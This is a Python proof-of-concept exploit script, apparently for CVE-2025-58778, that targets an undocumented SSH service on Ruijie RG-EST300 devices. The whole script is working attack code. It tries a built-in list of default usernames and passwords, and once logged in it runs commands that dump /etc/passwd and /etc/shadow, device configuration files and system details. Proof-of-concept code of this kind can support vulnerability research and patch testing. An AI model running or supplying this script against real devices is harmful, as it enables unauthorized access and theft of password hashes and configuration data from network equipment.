# CVE-2025-58778 - Ruijie RG-EST300 Undocumented SSH Service Exploitation
# This PoC demonstrates SSH connection to the affected device using known credentials
import paramiko
import socket
import sys
import time
def check_ssh_service(host, port=22, timeout=5):
"""Check if SSH service is running on the target device"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
banner = sock.recv(1024)
sock.close()
if b'SSH' in banner:
print(f"[+] SSH service detected on {host}:{port}")
print(f"[+] Banner: {banner.decode().strip()}")
return True
return False
except Exception as e:
print(f"[-] Error checking SSH service: {e}")
return False
def exploit_ssh_access(host, port, username, password):
"""Attempt SSH login with known credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print(f"[*] Attempting SSH login to {host}:{port} with {username}:{password}")
client.connect(host, port=port, username=username, password=password, timeout=10)
print("[+] Login successful! Executing system commands...")
# Execute information gathering commands
commands = [
'cat /etc/passwd',
'cat /etc/shadow',
'ifconfig',
'cat /proc/version',
'find / -name "*.conf" 2>/dev/null',
'cat /etc/config/* 2>/dev/null'
]
for cmd in commands:
print(f"\n[*] Executing: {cmd}")
stdin, stdout, stderr = client.exec_command(cmd)
output = stdout.read().decode()
print(output[:500])
client.close()
return True
except paramiko.AuthenticationException:
print("[-] Authentication failed")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
target_host = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
ssh_port = 22
# Common default credentials for Ruijie devices
credentials = [
("admin", "admin"),
("admin", "ruijie"),
("admin", "password"),
("root", "root"),
("admin", ""),
]
print(f"[*] Targeting Ruijie RG-EST300 device at {target_host}")
if check_ssh_service(target_host, ssh_port):
for username, password in credentials:
if exploit_ssh_access(target_host, ssh_port, username, password):
print(f"\n[!] Successfully exploited CVE-2025-58778 with credentials: {username}/{password}")
break
time.sleep(1)
else:
print("[-] SSH service not detected on target")